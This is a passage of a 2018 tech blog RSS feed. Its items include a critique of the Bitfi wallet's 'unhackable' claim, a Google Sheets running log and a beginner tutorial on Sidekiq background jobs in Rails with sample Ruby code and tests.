&lt;a class="external" href="https://twitter.com/officialmcafee"&gt;John McAfee&lt;/a&gt; has been advertising a
cryptocurrency hardware wallet from a company called
&lt;a class="external" href="https://bitfi.com" rel="nofollow"&gt;Bitfi&lt;/a&gt;, with the claim that it is “unhackable”. There’s
even a &lt;a class="external" href="https://bitfi.com/bounty" rel="nofollow"&gt;$250,000 bounty&lt;/a&gt;&lt;a id="id1"&gt;&lt;/a&gt; to hack it. I do not have
one of the actual devices in my possession, but from my review of the
publicly available
“&lt;a class="external" href="https://docs.wixstatic.com/ugd/9e18eb_6d75d420deeb46f0a31493fde61319df.pdf"&gt;source code&lt;/a&gt;” [PDF]
and their
&lt;a class="external" href="https://www.btknox.org/calculate-your-private-keys"&gt;private key calculator&lt;/a&gt;,
my conclusion is that their product is most charitably described as a “footgun”.&lt;/p&gt;</description><author>rya.nc</author><pubDate>Tue, 31 Jul 2018 21:38:00 GMT</pubDate><guid isPermaLink="true">https://rya.nc/bitfi-wallet.html</guid></item><item><title>Better Internet service for Indigenous communities? Right. Then what?</title><link>https://stop.zona-m.net/2018/07/better-internet-service-for-indigenous-communities-right.-then-what/</link><description>&lt;p&gt;In rural, remote and northern communities across Canada, First Nations technicians are taking on Internet connectivity challenges themselves. Then what?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 31 Jul 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/better-internet-service-for-indigenous-communities-right.-then-what/</guid></item><item><title>LogRun: A Running Log in Google Sheets</title><link>https://www.mikekasberg.com/blog/2018/07/31/logrun-a-running-log-in-google-sheets.html</link><description>&lt;p&gt;I made a training log for runners in Google Sheets!&lt;/p&gt;

&lt;p&gt;Even in the age of Fitbit, GPS running watches, and Strava, a training log in a
spreadsheet is a useful tool. Because it’s a spreadsheet, it can be used to
analyze data in ways that websites and apps can’t. It’s easy to share with a
coach. And some people might find extra motivation from setting a goal and
recording their progression over time in a spreadsheet.&lt;/p&gt;

&lt;!--more--&gt;

&lt;div class="message"&gt;
&lt;p&gt;
&lt;b&gt;Update:&lt;/b&gt; I joined the software engineering team at &lt;b&gt;Strava&lt;/b&gt;
in April, 2019! So although I didn't work for Strava when I wrote this blog
post, I do now! We're building amazing things for athletes, and I'd encourage
you to check out &lt;a href="https://www.strava.com/subscribe"&gt;Strava&lt;/a&gt; and
consider subscribing for our best features. It's amazing how much motivation can
come from being part of a community. And whether you join Strava or not, I hope
this running log spreadsheet is useful for you!
&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;My running log spreadsheet does a lot of &lt;strong&gt;automatic calculations and graphs&lt;/strong&gt;
after you input your daily running time and mileage. The best way to see what it
can do is with an example. (Be sure to check out the tabs at the bottom of the
spreadsheet to see the graphs!)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example Spreadsheet: &lt;a href="https://docs.google.com/spreadsheets/d/1g0DCy-WwJM97s2KtAaIp1wWyX_10Y9zT_ii4S6DM1w0/edit?usp=sharing"&gt;LogRun with Sample Data&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.google.com/spreadsheets/d/1g0DCy-WwJM97s2KtAaIp1wWyX_10Y9zT_ii4S6DM1w0/edit?usp=sharing"&gt;&lt;img alt="Spreadsheet Graphs" src="https://www.mikekasberg.com/images/posts/logrun-full.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id="features"&gt;Features&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Calculates average pace based on distance and time.&lt;/li&gt;
  &lt;li&gt;Displays weekly mileage, average pace, and time spent running in tables and graphs.&lt;/li&gt;
  &lt;li&gt;Breaks down stats by type of run (easy, long, tempo, etc).&lt;/li&gt;
  &lt;li&gt;Mileage graphs are a great visualization tool for spotting trends and measuring progression.&lt;/li&gt;
  &lt;li&gt;Tracks mileage on shoes.&lt;/li&gt;
  &lt;li&gt;Tracks race performance and personal records.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Long ago, &lt;a href="https://web.archive.org/web/20220331025852/http://davidhays.net/running/runlog/runlog.html"&gt;David Hays&lt;/a&gt;
published his version of a training log in Excel. I was inspired by that, and
wanted to create something similar that presented the types of data &lt;em&gt;I find most
important&lt;/em&gt; in the &lt;em&gt;simplest way possible&lt;/em&gt;. And I wanted something that worked in
Google Sheets instead of Excel. The spreadsheet I’ve created here is what I came
up with.&lt;/p&gt;

&lt;h2 id="create-your-own-training-log"&gt;Create Your Own Training Log&lt;/h2&gt;

&lt;p&gt;This training log spreadsheet is free for you to use and modify to track your
own workouts and share with your training partners, coaches, and friends.&lt;/p&gt;

&lt;div class="warning"&gt;
&lt;p&gt;&lt;b&gt;Do not "Request Access"&lt;/b&gt; to edit the blank copy or the example. You must make
your own copy first (with the instructions below) so the blank copy remains
available for everyone.&lt;/p&gt;
&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;Choose one of the blank versions below:
    &lt;ul&gt;
      &lt;li&gt;&lt;a href="https://docs.google.com/spreadsheets/d/1tr15fIaK7J32QNCq5Y3jl5T1Vex0PiGNlxDReeo5Hsg/edit?usp=sharing"&gt;LogRun&lt;/a&gt;
– Standard version. 365 rows, fits up to a year of daily data. Use this version if you’re
not sure which to pick.&lt;/li&gt;
      &lt;li&gt;&lt;a href="https://docs.google.com/spreadsheets/d/1k_pFnhHxqIJUI1Pjk-7I3y1Px8MNTpN7DmcbiMh00ic/edit?usp=sharing"&gt;LogRun Metric&lt;/a&gt;
– Uses kilometers instead of miles.&lt;/li&gt;
      &lt;li&gt;&lt;a href="https://docs.google.com/spreadsheets/d/18jNZ7H2g5ag9OPRX84EdojoZf1cOGop2p3plVK5SsXo/edit?usp=sharing"&gt;LogRun 1000&lt;/a&gt;
– Fits 1000 rows of data. Because of this, it might also be slower. Use it
if 365 rows isn’t enough for you.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Click &lt;code class="language-plaintext highlighter-rouge"&gt;File&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;Make a copy...&lt;/code&gt; to save your own copy to your Google Drive.
Or, Click &lt;code class="language-plaintext highlighter-rouge"&gt;File&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;Download as&lt;/code&gt; to download an Excel version.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This spreadsheet has been a fun and useful tool for me, and I hope you enjoy it
too! Please share it with your friends, and if you like it, let me know
&lt;a href="https://twitter.com/mike_kasberg"&gt;@mike_kasberg&lt;/a&gt;! You can even &lt;a href="https://www.buymeacoffee.com/mkasberg"&gt;buy me a
coffee&lt;/a&gt; if you want to, as a way to say
thanks.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Tue, 31 Jul 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/07/31/logrun-a-running-log-in-google-sheets.html</guid></item><item><title>Fahrenheit 451</title><link>https://olshansky.info/movie/fahrenheit_451/</link><description>Olshansky's review of Fahrenheit 451</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 31 Jul 2018 16:00:53 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/fahrenheit_451/</guid></item><item><title>Links - July 31, 2018</title><link>https://faingezicht.com/links/2018/07/31/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 31 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/07/31/links/</guid></item><item><title>Repeating History with Elixir...again</title><link>https://www.brightball.com/articles/repeating-history-with-elixir-again</link><description>Over the weekend I got the chance to speak at the inaugural Carolina Code Conf in Greenville, SC. It's the upstate polyglot conference where just about any relevant subject is welcome, so I submitted a talk on Elixir. I also gave a lightning talk on DMARC thanks to our wonderful sponsor, dmarcian.</description><author>Brightball Articles</author><pubDate>Tue, 31 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/repeating-history-with-elixir-again</guid></item><item><title>Devops Demystified</title><link>https://jasoneckert.github.io/myblog/devops-demystified/</link><description>&lt;p&gt;&lt;img alt="Devops1" src="devops1.png#center" title="Devops1" /&gt;&lt;/p&gt;
&lt;p&gt;Last week, my friend Scott Elliott did a great guest presentation at the college where he talked about, amongst other things, devops. Moreover, I’ve been involved myself in the setup and configuration of two software development workflows (which technically makes me a devop); one was in 2017 for a tech startup in Kitchener, and the other one was earlier this year for a much larger project at the University of Waterloo.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 31 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/devops-demystified/</guid></item><item><title>Java regex by example: strings</title><link>https://studiofreya.org/java/java-regex-by-example-strings/</link><description>&lt;p&gt;In this tutorial we will use Java 8 and show several program examples with Java strings and regular expressions or Java regex.&lt;/p&gt;
&lt;div id="toc-np-container"&gt;
  &lt;p id="toc-np-title"&gt;
    Contents
  &lt;/p&gt;
  &lt;ul class="no-bullets"&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Find-a-word-in-a-string"&gt;&lt;span class="toc-np-number"&gt;1&lt;/span&gt;Find a word in a string&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Match-whole-word-only-in-a-string"&gt;&lt;span class="toc-np-number"&gt;2&lt;/span&gt;Match whole word only in a string&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Match-phrase-in-a-string"&gt;&lt;span class="toc-np-number"&gt;3&lt;/span&gt;Match phrase in a string&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Get-string-between-parentheses"&gt;&lt;span class="toc-np-number"&gt;4&lt;/span&gt;Get string between parentheses&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Get-string-between-square-brackets"&gt;&lt;span class="toc-np-number"&gt;5&lt;/span&gt;Get string between square brackets&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Get-string-between-curly-braces"&gt;&lt;span class="toc-np-number"&gt;6&lt;/span&gt;Get string between curly braces&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Extract-string-between-two-characters"&gt;&lt;span class="toc-np-number"&gt;7&lt;/span&gt;Extract string between two characters&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/java/java-regex-by-example-strings/#Exclude-special-characters-in-a-string"&gt;&lt;span class="toc-np-number"&gt;8&lt;/span&gt;Exclude special characters in a string&lt;/a&gt;
    &lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;
&lt;h2 id="find-a-word-in-a-string"&gt;&lt;span id="Find-a-word-in-a-string"&gt;Find a word in a string&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;To match the string containing a word or a sequence of characters we will simply provide the word within the regex expression.&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Mon, 30 Jul 2018 23:12:01 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/java/java-regex-by-example-strings/</guid></item><item><title>Sidekiq and Background Jobs for Beginners</title><link>https://josh.works/sidekiq-and-background-jobs-in-rails-for-beginners</link><description>&lt;p&gt;I’ve recently had to learn more about background jobs (using &lt;a href="https://github.com/mperham/sidekiq"&gt;Sidekiq&lt;/a&gt;, specifically) for some bugs I was working on.&lt;/p&gt;

&lt;p&gt;I learned a lot. Much of it was &lt;em&gt;extremely&lt;/em&gt; basic. Anyone who knows much at all about Sidekiq will say “oh, duh, of course that’s true”, but at the time, it wasn’t obvious to me.&lt;/p&gt;

&lt;p&gt;The reason I needed such basic overviews is because prior to my current job, I’d had just a few &lt;em&gt;hours&lt;/em&gt; of exposure to background jobs, and understood little of those hours. And I got dropped into a project that has dozens of jobs, handling hundreds of thousands of actions a day.&lt;/p&gt;

&lt;p&gt;As is my style, when I don’t understand something, I like to go to the very basics.&lt;/p&gt;

&lt;p&gt;Most of the interesting stuff is way down at the bottom, on &lt;a href="#watching-redis"&gt;watching Redis do it’s thing&lt;/a&gt;&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;In this case, I went back to Turing! I found the &lt;a href="https://github.com/turingschool/backend-curriculum-site/blob/gh-pages/module3/archive/lessons/background_workers.md"&gt;background jobs lesson&lt;/a&gt; from Mod 3, and worked through it.&lt;/p&gt;

&lt;p&gt;I very much enjoy seeing evidence of things working “under the hood”, rather than just accepting that &lt;code class="language-plaintext highlighter-rouge"&gt;BackgroundWorker.perform_later(foo.id)&lt;/code&gt; works differently than &lt;code class="language-plaintext highlighter-rouge"&gt;BackgroundWorker.new.perform(foo.id)&lt;/code&gt;, etc. So, this post will focus not as much on &lt;em&gt;using&lt;/em&gt; Sidekiq, but &lt;em&gt;seeing that it’s working&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;If you want to follow along, do the above tutorial. &lt;a href="https://github.com/josh-works/turing_sidekiq_tutorial/tree/eb5ef7eb34f8baefab9d763c469d9917c09c7d3f"&gt;This is what my repo looks like right now&lt;/a&gt;. I’ll recap most of what’s in the tutorial.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;To run the app, run each of the following, using multiple terminal tabs as needed:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;rails s
redis-server
sidekiq
mailcatcher
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The app should now working. Navigate to &lt;code class="language-plaintext highlighter-rouge"&gt;[http://localhost:3000/](http://localhost:3000/)&lt;/code&gt;, and you should see Missy Elliot in all her glory.&lt;/p&gt;

&lt;p&gt;Open up &lt;a href="http://localhost:3000/sidekiq/"&gt;http://localhost:3000/sidekiq/&lt;/a&gt; to see the sidekiq dashboard, and then over to &lt;a href="http://localhost:1080/"&gt;http://localhost:1080/&lt;/a&gt; for mailcatcher.&lt;/p&gt;

&lt;p&gt;You’ll notice that when sending emails via the app, nothing is happening on &lt;a href="http://localhost:3000/sidekiq/"&gt;http://localhost:3000/sidekiq/&lt;/a&gt;, and the redis terminal window is untouched:&lt;/p&gt;

&lt;p&gt;&lt;img alt="redis" src="/images/2018-07-25_redis.jpg" /&gt;&lt;/p&gt;

&lt;h2 id="convert-a-non-background-job-to-a-background-job"&gt;Convert a non-background-job to a background job&lt;/h2&gt;

&lt;p&gt;The essence of a background job is to do stuff &lt;em&gt;in the background&lt;/em&gt;, without making the Rails app sit around doing all the work.&lt;/p&gt;

&lt;p&gt;To simulate the pain of waiting for synchronous jobs, when you use this app, the “send email” method has a five-second &lt;code class="language-plaintext highlighter-rouge"&gt;sleep&lt;/code&gt; in it.&lt;/p&gt;

&lt;p&gt;Lets make this a background job:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;create the job. (you can use &lt;code class="language-plaintext highlighter-rouge"&gt;rails generate job &amp;lt;job_name&amp;gt;&lt;/code&gt;, per the &lt;a href="https://edgeguides.rubyonrails.org/active_job_basics.html#create-the-job"&gt;ActiveJob docs&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Call the &lt;code class="language-plaintext highlighter-rouge"&gt;notify user job&lt;/code&gt; from the controller, instead of calling the &lt;code class="language-plaintext highlighter-rouge"&gt;user notifier&lt;/code&gt; directly.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id="make-the-job"&gt;Make the job&lt;/h2&gt;

&lt;p&gt;We’ll hand-roll this. Make &lt;code class="language-plaintext highlighter-rouge"&gt;app/jobs/send_user_gif_job.rb&lt;/code&gt;.&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SendUserGifJob&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveJob&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Base&lt;/span&gt;
  &lt;span class="n"&gt;queue_as&lt;/span&gt; &lt;span class="ss"&gt;:default&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# do da ting&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(Deviated slightly from the docs with &lt;code class="language-plaintext highlighter-rouge"&gt;ActiveJob::Base&lt;/code&gt;. I’m working with Rails 4.2)&lt;/p&gt;

&lt;h2 id="make-a-test"&gt;Make a test&lt;/h2&gt;

&lt;p&gt;Working through the &lt;a href="https://edgeguides.rubyonrails.org/testing.html#testing-jobs"&gt;rubyonrails.org docs on testing jobs&lt;/a&gt;, I’ll set up the following:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# test/jobs/send_user_gif_job_test.rb&lt;/span&gt;

&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'test_helper'&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SendUserGifJobTest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveJob&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;TestCase&lt;/span&gt; 
  &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="s1"&gt;'that email is sent'&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="no"&gt;SendUserGifJob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"test@test.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# literally no idea what to assert here...&lt;/span&gt;
    &lt;span class="c1"&gt;# assert &lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve no idea what to assert just yet, but we’ll get there. Lets run the test!&lt;/p&gt;

&lt;p&gt;…&lt;/p&gt;

&lt;p&gt;Unfortunately, this test passes. :(&lt;/p&gt;

&lt;p&gt;After taking a look at the &lt;a href="https://github.com/mperham/sidekiq/wiki/Testing"&gt;testing Sidekiq&lt;/a&gt; docs, I’ve got some ideas.&lt;/p&gt;

&lt;h2 id="messed-up-sidekiq"&gt;Messed up Sidekiq?&lt;/h2&gt;

&lt;p&gt;After a bit of playing in the &lt;code class="language-plaintext highlighter-rouge"&gt;rails console&lt;/code&gt;, I had a bunch of bad jobs that Sidekiq was trying to process. Every time I started Sidekiq, it broke with a stack trace for “uninitialized constant”, for a job/class/worker that didn’t exist.&lt;/p&gt;

&lt;p&gt;To clear out everything in Sidekiq, run the following from the rails console:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Sidekiq::Queue.all.each(&amp;amp;:clear)
Sidekiq::RetrySet.new.clear
Sidekiq::ScheduledSet.new.clear
Sidekiq::DeadSet.new.clear
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As usual, I found the answer &lt;a href="https://stackoverflow.com/a/47290191/3210178"&gt;on Stack Overflow&lt;/a&gt; (I could see this being a very dangerous command to run in any sort of production environment. Don’t do that, please.)&lt;/p&gt;

&lt;p&gt;After clearing out the queue, I can run Sidekiq just fine.&lt;/p&gt;

&lt;h2 id="rework-the-test-and-worker"&gt;Rework the test and worker&lt;/h2&gt;

&lt;p&gt;These are &lt;em&gt;workers&lt;/em&gt; and not &lt;em&gt;jobs&lt;/em&gt;. &lt;code class="language-plaintext highlighter-rouge"&gt;ActiveJob&lt;/code&gt; &lt;em&gt;jobs&lt;/em&gt; live in &lt;code class="language-plaintext highlighter-rouge"&gt;/jobs&lt;/code&gt;. So, if you want a &lt;em&gt;worker&lt;/em&gt;, don’t put it in the &lt;code class="language-plaintext highlighter-rouge"&gt;/jobs&lt;/code&gt; directory, put it in the &lt;code class="language-plaintext highlighter-rouge"&gt;/workers&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;Don’t ask me why I know this.&lt;/p&gt;

&lt;p&gt;I had problems because of where I stuck these files, and &lt;s&gt;had some other problems because of naming conventions&lt;/s&gt; decided naming conventions are important.&lt;/p&gt;

&lt;p&gt;So, I threw away all the work and did &lt;code class="language-plaintext highlighter-rouge"&gt;rails g sidekiq:worker SendGifToUserWorker&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here’s what I’ve got right now, after the &lt;code class="language-plaintext highlighter-rouge"&gt;rails g&lt;/code&gt; and taking some examples from the testing docs:&lt;/p&gt;

&lt;p&gt;My &lt;code class="language-plaintext highlighter-rouge"&gt;SendGifToUserWorker&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# app/workers/send_gif_to_user_worker.rb&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SendGifToUserWorker&lt;/span&gt;
  &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;Sidekiq&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Worker&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Do something&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My &lt;code class="language-plaintext highlighter-rouge"&gt;SendGifToUserWorkerTest&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# test/workers/send_gif_to_user_worker_test.rb&lt;/span&gt;

&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'test_helper'&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SendGifToUserWorkerTest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveJob&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;TestCase&lt;/span&gt;
  &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="s1"&gt;'that email is sent'&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"test@test.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# literally no idea what to assert here...&lt;/span&gt;
    &lt;span class="c1"&gt;# assert &lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
  &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="s1"&gt;'that job is pushed to queue'&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;assert_equal&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;
    &lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"test@test.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;assert_equal&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, the tests pass. This tells me the job is running fine (I guess), but no clue what is happening under the hood.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;correction: the second test passes every-other-time or so.&lt;/em&gt; The &lt;code class="language-plaintext highlighter-rouge"&gt;jobs.size&lt;/code&gt; queue isn’t always starting at 0, so it fails the first assertion of 0.&lt;/p&gt;

&lt;p&gt;A fix was to add the following setup method:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# test/workers/send_gif_to_user_worker_test.rb:5&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;
  &lt;span class="no"&gt;Sidekiq&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Worker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear_all&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="making-sidekiq-do-stuff-via-the-rails-console"&gt;Making Sidekiq do stuff via the Rails Console&lt;/h2&gt;

&lt;p&gt;Since the tests don’t push &lt;em&gt;actual&lt;/em&gt; jobs to Sidekiq, I don’t see any indication that anything interesting is happening in Sidekiq web, or Redis, or the Sidekiq terminal window. :(&lt;/p&gt;

&lt;p&gt;I updated the mail model in the application to actually use Sidekiq (no failing test quite right now, sorry) and here’s my worker:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# app/workers/send_gif_to_user_worker.rb&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SendGifToUserWorker&lt;/span&gt;
  &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;Sidekiq&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Worker&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;thought&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="no"&gt;UserNotifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_randomness_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;thought&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;deliver_now&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
